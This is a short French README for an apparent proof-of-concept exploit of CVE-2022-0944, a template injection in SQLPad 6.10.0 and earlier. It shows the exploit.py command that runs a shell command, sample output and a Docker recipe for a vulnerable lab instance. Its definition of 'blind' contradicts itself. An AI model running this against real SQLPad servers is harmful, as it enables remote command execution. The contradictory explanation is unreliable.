CVE-2022-0944

SQLPad - Injection de template

Il s'agit d'une vulnérabilité aveugle, ce qui signifie que la sortie est directement renvoyée dans la réponse.

Exploitation

Utilisez le script avec la commande suivante :
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

Output

[*] Login was successfull
[*] Exploited!

Environnement de test

Avec Docker :

• Démarrer le conteneur Docker - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Se connecter au conteneur Docker - sudo docker exec -it vulnerable-sqlpad /bin/bash

Pour accéder à l'interface web, utilisez l'URL http://localhost:13000 avec les identifiants admin:password.

Versions affectées

<= 6.10.0

Source

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

Avertissement

À utiliser uniquement à des fins éducatives ou pour des challenges CTF.